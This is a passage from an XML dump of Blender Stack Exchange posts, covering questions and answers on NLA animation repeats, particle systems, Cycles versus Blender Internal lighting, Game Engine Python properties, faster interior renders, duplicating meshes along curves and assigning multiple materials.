BY-SA 3.0" />
  <row Id="493" PostTypeId="2" ParentId="440" CreationDate="2013-05-30T13:27:48.360" Score="22" Body="&lt;p&gt;You can use the NLA editor to make a repeating animation.&lt;img src=&quot;https://i.stack.imgur.com/gqQP2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Changing the repeat value will change how many times the animation will repeat. Just make sure your animation was converted to an NLA strip otherwise you won't be able to repeat the track.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-05-30T13:27:48.360" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="494" PostTypeId="5" CreationDate="2013-05-30T13:57:14.203" Score="0" Body="&lt;p&gt;Particles are lots of items emitted from mesh objects, typically in the thousands. Each particle can be a point of light or a mesh, and be joined or dynamic. They may react to many different influences and forces, and have the notion of a lifespan. Dynamic particles can represent fire, smoke, mist, and other things such as dust or magic spells.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/dev/physics/particles/hair/index.html#hair&quot; rel=&quot;nofollow noreferrer&quot;&gt;Hair&lt;/a&gt; type particles &lt;a href=&quot;/questions/tagged/hair&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;hair&amp;#39;&quot; rel=&quot;tag&quot;&gt;hair&lt;/a&gt; are a subset of regular particles. Hair systems form curves that can represent hair, fur, grass and bristles.&lt;/p&gt;&#xA;&lt;p&gt;Particles at The &lt;a href=&quot;https://docs.blender.org/manual/en/dev/physics/particles/index.html#particle-system&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender Manual&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="15924" LastEditDate="2020-10-20T12:41:11.990" LastActivityDate="2020-10-20T12:41:11.990" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="495" PostTypeId="4" CreationDate="2013-05-30T13:57:14.203" Score="0" Body="Questions pertaining to a group of particles which can be used to simulate a system of chaotic objects(known as particle systems). Particle systems in Blender are robust and full of settings." OwnerUserId="20" LastEditorUserId="20" LastEditDate="2013-05-30T15:14:21.973" LastActivityDate="2013-05-30T15:14:21.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="496" PostTypeId="2" ParentId="291" CreationDate="2013-05-30T14:14:13.720" Score="11" Body="&lt;p&gt;There is no plan to drop Blender Internal at the moment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It got some new development recently with Freestyle support and 3D viewport rendering so that definitely would not be thrown away soon. How much further development it will receive is unclear, but as long as there are enough users it is unlikely to be removed.&lt;/p&gt;&#xA;" OwnerUserId="242" LastActivityDate="2013-05-30T14:14:13.720" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="497" PostTypeId="2" ParentId="471" CreationDate="2013-05-30T14:15:07.027" Score="10" Body="&lt;p&gt;It's obviously not perfect, but here are a few things that will make Blender &quot;act&quot; like Y is up. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Navigation&lt;/strong&gt;&lt;br&gt;&#xA;You could change all the shortcut keys so that Y was sort of the top.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Gravity&lt;/strong&gt;&lt;br&gt;&#xA;Change Gravity to Y direction:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/uO1n0.png&quot; alt=&quot;gravity direction&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Grid&lt;/strong&gt;&lt;br&gt;&#xA;Finally, remove the grid floor and only show the x and z axis when rotating the view.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/1MwHp.png&quot; alt=&quot;Grid floor&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-05-30T14:15:07.027" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="499" PostTypeId="2" ParentId="461" CreationDate="2013-05-30T15:45:12.257" Score="0" Body="&lt;p&gt;The way to call or use property values in the Blender Game Engine is the same as in each of the other render engines. However, all of the properties have different names. For example, the rotation of an object is found by calling &lt;code&gt;object.rotation_euler&lt;/code&gt; in Cycles and Blender-Internal, but &lt;code&gt;object.worldOrientation&lt;/code&gt; in the Game Engine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I know, the 'hover over' trick to find property names unfortunately doesn't work with the Game Engine (it will give you the same values as Cycles/Blender-Internal). I haven't yet found a single resource that covers all of the Game Engine properties, but I imagine the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_66a_release/&quot; rel=&quot;nofollow&quot;&gt;Blender Wiki Documentation&lt;/a&gt; would be a good place to start.&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2013-05-30T15:45:12.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="500" PostTypeId="2" ParentId="261" CreationDate="2013-05-30T15:47:33.437" Score="24" Body="&lt;p&gt;Cycles uses a physically correct light falloff by default, Blender Internal uses a smoothed falloff with a Distance parameter. Cycles can give a similar falloff by using the Light Falloff node with Smooth parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cycles lamp strength for point, spot and area lamps is specified in Watts, while Blender Internal has no clear physical unit that I know of. For Cycles this means you typically need higher values, as you couldn't use a 1W lamp to light a room, you need something stronger like a 100W lamp. For Blender Internal the default Distance of 30 means you can use lower strength values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sun lamps in Cycles are specified in &lt;span class=&quot;math-container&quot;&gt;$\frac{\text{Watts}}{\text{m}^2}$&lt;/span&gt;, which requires much smaller values like 1 &lt;span class=&quot;math-container&quot;&gt;$\frac{\text{Watt}}{\text{m}^2}$&lt;/span&gt;. This can be confusing, but specifying strength in Watts wouldn't have been convenient, the real sun for example has strength 384600000000000000000000000W. Emission shaders on meshes are also in &lt;span class=&quot;math-container&quot;&gt;$\frac{\text{Watts}}{\text{m}^2}$&lt;/span&gt;.&lt;/p&gt;&#xA;" OwnerUserId="242" LastEditorUserId="26640" LastEditDate="2019-03-12T19:52:12.297" LastActivityDate="2019-03-12T19:52:12.297" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="501" PostTypeId="2" ParentId="461" CreationDate="2013-05-30T16:07:34.163" Score="8" Body="&lt;p&gt;Here is one way of setting the property value of a game engine object (which has an int property by the name 'upkeycount')&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have setup the following logic on a cube object&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sensor:Keyboard('UPARRAOWKEY') &amp;lt;--&gt; Controller:Python(increment_up_count.py) &amp;lt;--&gt; Actuator('upkeycount')&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and following is the code for increment increment_up_count.py&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bge&#xA;&#xA;cont = bge.logic.getCurrentController()&#xA;&#xA;sensor = cont.sensors['UPARROWKEY']&#xA;&#xA;if sensor.getKeyStatus(bge.events.UPARROWKEY) == bge.logic.KX_INPUT_JUST_ACTIVATED:&#xA;    owner = cont.owner&#xA;    upkeycountAct = cont.actuators['upkeycount']&#xA;    value = owner.get(upkeycountAct.propName) + 1&#xA;    upkeycountAct.value = str(value)&#xA;    cont.activate(upkeycountAct)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Few variations of the above code can be found at &lt;a href=&quot;https://gist.github.com/satishgoda/5682945&quot;&gt;https://gist.github.com/satishgoda/5682945&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="228" LastEditorUserId="228" LastEditDate="2013-05-31T04:39:25.437" LastActivityDate="2013-05-31T04:39:25.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="502" PostTypeId="1" AcceptedAnswerId="508" CreationDate="2013-05-30T16:08:02.597" Score="5" ViewCount="12279" Body="&lt;p&gt;I modeled a house and wanted to render the rooms from the inside with the approximate sun lighting through the window. However cycles is incredibly slow in doing that. What should I change to increase my render speed? I am okay with sacrificing quality for it as it is not yet my final render and I am still planning the room layout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The room is physically correct with ceiling and floor (cube with multiple small holes in it). I'm rendering in perspective mode using Cycles.&lt;/p&gt;&#xA;" OwnerUserId="245" LastEditorUserId="25" LastEditDate="2013-05-30T21:42:26.470" LastActivityDate="2013-09-12T00:00:51.503" Title="Increase cycles speed for interior render" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="503" PostTypeId="5" CreationDate="2013-05-30T17:20:42.857" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-05-30T17:20:42.857" LastActivityDate="2013-05-30T17:20:42.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="504" PostTypeId="4" CreationDate="2013-05-30T17:20:42.857" Score="0" Body="Questions about OpenGL (Open Graphics Library) &#xD;&#xA;OpenGL is an API used to render real-time 2D and 3D graphics. Blender uses OpenGL for drawing the user interface, 3D view, and the game engine." OwnerUserId="20" LastEditorUserId="599" LastEditDate="2013-06-24T02:44:13.057" LastActivityDate="2013-06-24T02:44:13.057" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="505" PostTypeId="5" CreationDate="2013-05-30T17:22:44.190" Score="0" Body="&lt;p&gt;In the Input preferences, you can customize how Blender reacts to the mouse and keyboard as well as define your own keymap.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/atwVMl.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/atwVMl.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Input settings at The &lt;a href=&quot;https://docs.blender.org/manual/en/dev/editors/preferences/input.html#input&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender Manual&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="15924" LastEditDate="2020-10-20T15:23:49.913" LastActivityDate="2020-10-20T15:23:49.913" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="506" PostTypeId="4" CreationDate="2013-05-30T17:22:44.190" Score="0" Body="Questions pertaining to creating, editing or deleting shortcuts/hotkeys. Blender's keymap and input editor are accessible in User Preferences &gt; Input." OwnerUserId="20" LastEditorUserId="599" LastEditDate="2014-05-16T00:42:04.773" LastActivityDate="2014-05-16T00:42:04.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="507" PostTypeId="2" ParentId="502" CreationDate="2013-05-30T17:47:01.033" Score="3" Body="&lt;p&gt;There are a number of things you can do to reduce the render time in Cycles. Here are a few that I frequently use:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Reduce resolution&lt;/strong&gt;: If you can get away with a smaller output image, or if you're just doing a test render, set the 'Percentage scale for screen resolution' to something low, like 25% or 50%.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Decrease the number of faces&lt;/strong&gt;: On small items that don't need an excruciating detail, instead of using a &lt;em&gt;subsurface division&lt;/em&gt; modifier, set the shading to 'smooth' and consider using a &lt;em&gt;decimate&lt;/em&gt; modifier to reduce the number of surfaces that light has to reflect off of.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Switch to GPU rendering&lt;/strong&gt;: In the User Preferences view, go to the System menu. Under 'Compute Device', select CUDA. Then, when you go to render, in the Device dropdown, you'll have the option 'GPU Compute'. (This only works if your computer has a GPU with a &lt;a href=&quot;https://developer.nvidia.com/cuda-gpus&quot; rel=&quot;nofollow&quot;&gt;CUDA compute rating of 2.0 or higher&lt;/a&gt;.)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Decrease the number of light bounces&lt;/strong&gt;: If you don't have highly refractive materials, like glass or gemstones, it can pay to reduce the number of light bounces Cycles computes. In the 'Render' menu of the Properties panel, scroll down to 'Light Paths.' If you set the minimum number of bounces to 0 and the max to a low number (like 4 or 5), you should greatly improve your render time without sacrificing too much realism.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Change tile size&lt;/strong&gt;: In the Properties panel &gt; Render menu, scroll down to 'Performance'. If you're using GPU rendering (see above), set the tile size to 128x128 or so. If you're using CPU, set it to 16x16.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Simplify&lt;/strong&gt;: In the Properties panel &gt; Scene menu, scroll down and check the Simplify option. This sets global limits on mesh detail size and soft shadow calculation that can really improve rendering time.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Use 'Multiple Importance Sample'&lt;/strong&gt;: For each of your light sources, scroll down to 'Settings' and select 'Multiple Importance Sample'. This greatly speeds up the rendering time for glossy and diffuse surfaces, and allows you to use fewer light samples to achieve the same quality render.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="25" LastEditorUserId="599" LastEditDate="2013-09-12T00:00:51.503" LastActivityDate="2013-09-12T00:00:51.503" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="508" PostTypeId="2" ParentId="502" CreationDate="2013-05-30T18:44:27.380" Score="8" Body="&lt;p&gt;It sounds like you are using a sun lamp for it, that really slows it down. So the only thing I can add to Gwenn answer is: for interior renders, use planes with an emission shader in every window hole, and disable the &quot;camera&quot; option in the &quot;ray visibility&quot; panel in the object properties so you don't see it when rendering. You can combine that with a sun lamp if you want hard edge shadows coming from the sun.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use this method a lot and it really speeds things up.&lt;/p&gt;&#xA;" OwnerUserId="191" LastActivityDate="2013-05-30T18:44:27.380" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="509" PostTypeId="2" ParentId="502" CreationDate="2013-05-30T18:49:59.187" Score="1" Body="&lt;p&gt;One thing that may speed it up faster than anything else is lowering the bounces. Since the image is interior, you'll have a lot of light bounces greatly increasing render times. To fix this, try setting the min bounce to 3 and max bounce to 4. You won't loose too much realism and if your iterating and rendering a lot, it helps to speed things up.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-05-30T18:49:59.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="510" PostTypeId="1" AcceptedAnswerId="511" CreationDate="2013-05-30T19:26:07.217" Score="32" ViewCount="40397" Body="&lt;p&gt;I want to outline a curve in the form of text with a mesh (UV-sphere, cube etc.). How can I do that while saving mesh geometry without using the Curve modifier?&lt;/p&gt;&#xA;" OwnerUserId="251" LastEditorUserId="12" LastEditDate="2015-01-30T18:52:20.680" LastActivityDate="2019-08-02T04:44:28.697" Title="How can I duplicate a mesh along a curve?" Tags="&lt;mesh&gt;&lt;modifiers&gt;&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="7" FavoriteCount="15" ContentLicense="CC BY-SA 3.0" />
  <row Id="511" PostTypeId="2" ParentId="510" CreationDate="2013-05-30T20:54:37.423" Score="46" Body="&lt;p&gt;Based on what you explained in the comments above, I think what you want are &lt;a href=&quot;http://builder.openhmd.net/blender-hmd-viewport-temp/editors/3dview/object/properties/duplication/dupliframes.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Dupliframes&lt;/a&gt;. My answer is based on the example in the wiki.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, you add a curve to the scene and in the &lt;em&gt;Curve&lt;/em&gt; menu under &lt;em&gt;Path Animation&lt;/em&gt;, you enable &lt;em&gt;Follow&lt;/em&gt;. &lt;em&gt;(You should also set the frames to a more reasonable number as needed such as 10 or so)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nssJ6.png&quot; alt=&quot;curve and curve settings&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then add the object and &lt;a href=&quot;https://docs.blender.org/manual/en/2.79/editors/properties_editor.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;in the &lt;em&gt;Object&lt;/em&gt; tab in the &lt;em&gt;Properties Editor&lt;/em&gt;&lt;/a&gt; under &lt;em&gt;Duplication&lt;/em&gt; &lt;strong&gt;enable&lt;/strong&gt; &lt;em&gt;Frames&lt;/em&gt; and &lt;strong&gt;disable&lt;/strong&gt; &lt;em&gt;Speed&lt;/em&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/67KTL.png&quot; alt=&quot;duplication settings on new object&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then parent the object to the curve or path, first select the object then the curve &lt;em&gt;(so that the curve is the active object)&lt;/em&gt; and use &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;P&lt;/kbd&gt; and &lt;em&gt;Set Parent to Object&lt;/em&gt;. After, you can select the object and use &lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;O&lt;/kbd&gt; to reset its origin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, you can now change the orientation of the object by either rotating it &lt;em&gt;(either in Edit mode or Object mode)&lt;/em&gt;. The arrangement of objects can, of course, be further enhanced by editing the curve. &lt;em&gt;(Shaping it into text etc)&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QQPvc.png&quot; alt=&quot;cubes duplicated along curve&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally from the same manual page linked above:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;There are many alternatives to Dupliframes. Which tool to use depends&#xA;  on context.&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;To use a small curve as a profile and a larger curve as a&#xA;  path, simply use the former as a Bevel Object to the latter.&lt;/li&gt;&#xA;  &lt;li&gt;To arrange objects along a curve, combining an Array Modifier and a Curve&#xA;  Modifier is often useful.&lt;/li&gt;&#xA;  &lt;li&gt;Dupliverts can be used to arrange objects, for example, along a circle or across a subdivided plane.&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Nt5Lj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, its worth noting that the additional objects are &lt;em&gt;instances&lt;/em&gt; and not real objects, this will reduce the load of your scene and also allow you to be more flexible when adding more objects. Alternatively, you can &lt;em&gt;Make Duplicates Real&lt;/em&gt; with &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;A&lt;/kbd&gt;. All objects will now be &lt;strong&gt;&lt;em&gt;real&lt;/em&gt;&lt;/strong&gt; objects, but still linked copies. To change this, go to &lt;em&gt;Object → Make Single User → Object &amp;amp; Data&lt;/em&gt; and choose &lt;em&gt;All&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="26345" LastEditDate="2019-08-02T04:44:28.697" LastActivityDate="2019-08-02T04:44:28.697" CommentCount="10" ContentLicense="CC BY-SA 4.0" />
  <row Id="514" PostTypeId="2" ParentId="406" CreationDate="2013-05-31T02:30:00.760" Score="8" Body="&lt;p&gt;You will probably need to do it with dynamic paint, as Charles recommended, and it is possible without solving a camera motion:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can easily set it up by tracking the wall where he is painting with a simple 4 point track, so you get 5 markers. Then, link empties to those markers, hook a plane's vertices to the wall markers and parent a cube or other object to the &quot;painting&quot; marker, so you can get a canvas (plane) that deforms with the footage without solving or reconstructing geometry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set the dynamic paint to output an image sequence of the object painting's on the plane, and then use that image sequence in the compositor as the mask, or alpha, that you need to create the effect that he is painting it.&lt;/p&gt;&#xA;" OwnerUserId="191" LastActivityDate="2013-05-31T02:30:00.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="515" PostTypeId="1" AcceptedAnswerId="524" CreationDate="2013-05-31T03:27:25.123" Score="20" ViewCount="26979" Body="&lt;p&gt;I created a plane and added a Diffuse Material with an image as the texture, and a single lamp above it, using all default settings otherwise. Strangely, the plane appears as black in Cycles. I can't figure out what I could have possibly done wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I need to tweak something? (Or is it normal for Cycles to treat a Plane with an image as not being illuminated (if there are no other objects in the scene)?)&lt;img src=&quot;https://i.stack.imgur.com/LxNGz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="72" LastEditorUserId="72" LastEditDate="2014-03-23T02:26:46.377" LastActivityDate="2015-12-01T16:57:38.553" Title="Why does a plane with an image texture show as black in Cycles?" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;" AnswerCount="6" CommentCount="4" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="516" PostTypeId="1" AcceptedAnswerId="517" CreationDate="2013-05-31T04:39:14.997" Score="137" ViewCount="233102" Body="&lt;p&gt;How do you add more than one material to a mesh? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried adding two materials to the object, and then assigning one of the materials to a vertex-group, but I could not find a place to assign it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am making a striped bouncy ball that I want to deform, so adding a different material by separating the mesh into different objects would not be ideal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6Fuyw.png&quot; alt=&quot;Using two different objects to have different materials&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="131" LastActivityDate="2020-12-18T19:42:56.883" Title="Add different materials to different parts of a mesh?" Tags="&lt;mesh&gt;&lt;materials&gt;" AnswerCount="4" CommentCount="0" FavoriteCount="60" ContentLicense="CC BY-SA 3.0" />
  <row Id="517" PostTypeId="2" ParentId="516" CreationDate="2013-05-31T04:39:14.997" Score="178" Body="&lt;p&gt;You need to be in edit mode.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;Select&lt;/strong&gt; the part of the mesh you want to add the material to:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gzQIS.png&quot; alt=&quot;Selecting the faces.&quot; /&gt;&lt;/p&gt;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;Click the &amp;quot;+&amp;quot; icon on the right side of &amp;quot;material&amp;quot; shown in the image below to &lt;strong&gt;create a new material&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Let's give the new material a green color.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Click the &lt;strong&gt;Assign&lt;/strong&gt; button in the Materials tab under the list of materials:&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/6zIjI.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6zIjI.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;(for older versions)&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OIgeT.png&quot; alt=&quot;Assign button under Materials tab.&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;And you're done!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Wo4Wv.png&quot; alt=&quot;Final Resault&quot; /&gt;&lt;/p&gt;&#xA;&lt;br&gt;&#xA;*&lt;sub&gt;_Note that when using this method there can be a sharp contrast between the two materials._&lt;/sub&gt;&#xA;" OwnerUserId="131" LastEditorUserId="92768" LastEditorDisplayName="user1853" LastEditDate="2020-12-18T19:42:56.883" LastActivityDate="2020-12-18T19:42:56.883" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="518" PostTypeId="1" AcceptedAnswerId="519" CreationDate="2013-05-31T04:46:10.217" Score="49" ViewCount="52474" Body="&lt;p&gt;In most of my models, I usually end up setting a world background using an HDRI image of some kind or another. This has always been really useful for lighting in general or as a background for my final render.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But what if I want my model to look like it is interacting or touching part of the background? For example, in the image below that I found, the modeled objects look like they're part of the scene, and even appear to cast shadows on the ground. How can I do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mqLGm.jpg&quot; alt=&quot;...&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="25" LastEditorUserId="25" LastEditDate="2015-12-06T20:22:27.703" LastActivityDate="2021-05-16T10:10:33.990" Title="How to make a model cast shadows onto the world texture/background?" Tags="&lt;rendering&gt;&lt;world&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="23" ContentLicense="CC BY-SA 3.0" />
  <row Id="519" PostTypeId="2" ParentId="518" CreationDate="2013-05-31T05:08:13.267" Score="39" Body="&lt;p&gt;One quick way to achieve this using &lt;strong&gt;Blender Internal&lt;/strong&gt; is to select the plane and add a new material, in the material settings under shadow, enable &lt;em&gt;Shadows Only&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nfi78.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, you can optionally enable transparency, use &lt;em&gt;Z Transparency&lt;/em&gt; and use the alpha slider to control the strength/darkness of the shadow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RYUi3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To further enhance this and add to the realism, you can enable &lt;em&gt;Ambient Occlusion&lt;/em&gt; and use a blend sky &lt;em&gt;(for simple renders)&lt;/em&gt;. It is also worth noting that the shadow you get is dependent on the type of lamp and world settings you use in some cases, in the image below I am using a sun lamp with ray shadow enabled and I also have Environment lighting turned on, this softens the shadow and its harder to control but gives a nicer subtle effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6RSMB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here I am using a sun lamp and a point lamp with Environment lighting off, with this setup, I can easier adjust the opacity of the shadow with the transparency setting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HhPOz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, in a case like you describe above, just render the scene without the sky &lt;em&gt;(untick sky under the scene tab)&lt;/em&gt;, align the camera as best as you can to the angle of the background, render and use an &lt;em&gt;Alpha Over&lt;/em&gt; node to join the render and the background together. Here is a quick example I did in a few minutes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/K6l6H.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;With HDR lighting and some tweaking, this can look really good.&lt;/em&gt; It's a bit tricky depending on how you want to use it and at times it will take a good amount of tweaking to get it to look &lt;em&gt;'right'&lt;/em&gt; but this is a sure way to go about it, the ground plane still catches the shadow but it is invisible.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2015-03-07T20:53:21.640" LastActivityDate="2015-03-07T20:53:21.640" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="520" PostTypeId="2" ParentId="515" CreationDate="2013-05-31T05:22:07.490" Score="3" Body="&lt;p&gt;This might sound obvious, but make sure you plug it to the &quot;surface&quot; input of the output node. Sometimes when you are trying out materials it moves the noodle to the &quot;volume&quot; input, that doesn't really work by the time and will give you completely black objects. &lt;/p&gt;&#xA;" OwnerUserId="191" LastActivityDate="2013-05-31T05:22:07.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="521" PostTypeId="1" CreationDate="2013-05-31T07:09:05.043" Score="18" ViewCount="1550" Body="&lt;p&gt;This setup seems like it should work, but it doesn't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/ZI9jCB7.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="261" LastEditorUserId="12" LastEditDate="2013-12-09T10:39:12.067" LastActivityDate="2013-12-09T10:39:12.067" Title="How do I use the compositor to output colour based on the depth of objects?" Tags="&lt;compositor&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="522" PostTypeId="2" ParentId="515" CreationDate="2013-05-31T07:30:26.080" Score="2" Body="&lt;p&gt;I have had similar problems before when the lamp was in a different layer and in the my scene render layers the light's layer was not active.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So make sure that all the 3d layers that you want to see/contribute in the render are activated in the Render context Layers panel.&lt;/p&gt;&#xA;" OwnerUserId="228" LastActivityDate="2013-05-31T07:30:26.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
